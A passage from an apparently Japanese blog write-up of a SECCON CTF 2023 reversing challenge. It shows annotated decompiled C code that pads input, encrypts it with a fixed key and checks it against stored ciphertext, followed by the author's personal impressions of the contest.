  pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc_ForInitialize = arrayForBlockSize16Size112_InMain_Index112And224_ForCompareToEnc;
  do
  {
    pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc_ForInitialize->pData = pStructMain;
    pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc_ForInitialize->dwIndex = dwIndex;// dwIndexは[112, 224)を取る
    pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc_ForInitialize->dwElementBytes = 1;
    ++dwIndex;
    ++pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc_ForInitialize;
  }
  while ( dwIndex != 224 );
  __printf_chk(1, "Message: ");
  if ( !fgets(strInputSize100, 100, _bss_start) )
    exit(1);
  pStructMain->dwStrInputLength = 0;
  charCurrent = strInputSize100[0];
  if ( strInputSize100[0] )
  {
    pStrInputNext = &strInputSize100[1];
    do
    {
      dwElementBytes_1 = pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag->dwElementBytes;
      switch ( dwElementBytes_1 )
      {
        case 1:                                 // 全部ここを通るはず
          *((_BYTE *)pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag->pData
          + pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag->dwIndex) = charCurrent;
          break;
        case 2:
          *(_WORD *)((char *)pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag->pData
                   + pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag->dwIndex) = charCurrent;
          break;
        case 4:
          *(_DWORD *)((char *)pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag->pData
                    + pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag->dwIndex) = charCurrent;
          break;
        case 8:
          *(_QWORD *)((char *)pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag->pData
                    + pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag->dwIndex) = charCurrent;
          break;
        default:
          BUG();
      }
      ++pStructMain->dwStrInputLength;
      charCurrent = *pStrInputNext;
      ++pBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag;
      ++pStrInputNext;
    }
    while ( charCurrent );
  }
  dwInputLength = pStructMain->dwStrInputLength;// 入力処理ループの前に0初期化された領域
  dwCeiledInputLength = (dwInputLength + 16) & 0xFFFFFFF0;
  pStructMain->dwStrInputWithPaddingLength = dwCeiledInputLength;
  pStructMain->dwPaddingCount = dwCeiledInputLength - dwInputLength;
  pStructMain->byteValueForPadding = dwCeiledInputLength - dwInputLength;
  for ( dwBlockIndex = dwInputLength;           // PKCS#7パディング書き込みループ
        dwBlockIndex < pStructMain->dwStrInputWithPaddingLength;
        pStructMain->dwStrInputLength = dwBlockIndex )
  {
    if ( arrayForBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag[dwBlockIndex].dwElementBytes != 1 )
      BUG();
    *((_BYTE *)arrayForBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag[dwBlockIndex].pData
    + arrayForBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag[dwBlockIndex].dwIndex) = pStructMain->byteValueForPadding;
    dwBlockIndex = pStructMain->dwStrInputLength + 1;
  }
  pairForMain_ByteCount4_Index228 = (ElementByteCountAndIndexPair)0x4000000E4LL;// elementByteCount=4, index=0xE4(==0n228)->dwStrInputWithPaddingLength
  encrypt(
    arrayForBlockSize16Size112_InMain_Index0And112_ForStoreInputFlag,
    (const BYTE *)pStructMain,
    pairForMain_ByteCount4_Index228,
    (const unsigned int *)"SECCON CTF 2023!",
    arrayForBlockSize16Size112_InMain_Index112And224_ForCompareToEnc);
  pbyteCurrentEnc = enc;                        // enc is global variable
  do
  {
    dwElementBytes = pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc->dwElementBytes;
    if ( dwElementBytes == 1 )
    {
      if ( *((_BYTE *)pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc->pData
           + pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc->dwIndex) != *pbyteCurrentEnc )// 多分全部ここを通る、gdbで雑確認したら実際そうだった
        goto locWrong;
    }
    else
    {
      switch ( dwElementBytes )                 // こっちには来ない
      {
        case 2:
          bIsWrong = *(_WORD *)((char *)pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc->pData
                              + pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc->dwIndex) != (unsigned __int16)*pbyteCurrentEnc;
          break;
        case 4:
          bIsWrong = *(_DWORD *)((char *)pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc->pData
                               + pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc->dwIndex) != *pbyteCurrentEnc;
          break;
        case 8:
          bIsWrong = *(_QWORD *)((char *)pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc->pData
                               + pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc->dwIndex) != *pbyteCurrentEnc;
          break;
        default:
          BUG();
      }
      if ( bIsWrong )
      {
locWrong:
        puts("Wrong...");
        goto labelReturn;
      }
    }
    ++pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc;
    ++pbyteCurrentEnc;
  }
  while ( pBlockSize16Size112_InMain_Index112And224_ForCompareToEnc != (BlockSize16 *)strInputSize100 );
  puts("Correct! I think you got the flag now :)");
labelReturn:
  munmap(pStructMain, 0x1000uLL);
  return 0;
}

感想

  • reversingジャンルで正解チーム数が最も少ない問題を解けたので満足です!解くのに12時間くらいかかって大変でした!
  • Sickle問題もxuyao問題もひたすら苦戦したので、多くのチームが解けていることに驚きです。効率の良い解き方が実はあるんでしょうか。
  • ジャンルの1つにsandboxジャンルがあることが珍しく思いました。warmup問題がRust言語問題だったので入門しつつ頑張ってみましたが、挫折しました……。
  • 24時間継続的に取り組むことは難しいです。途中で力尽きました。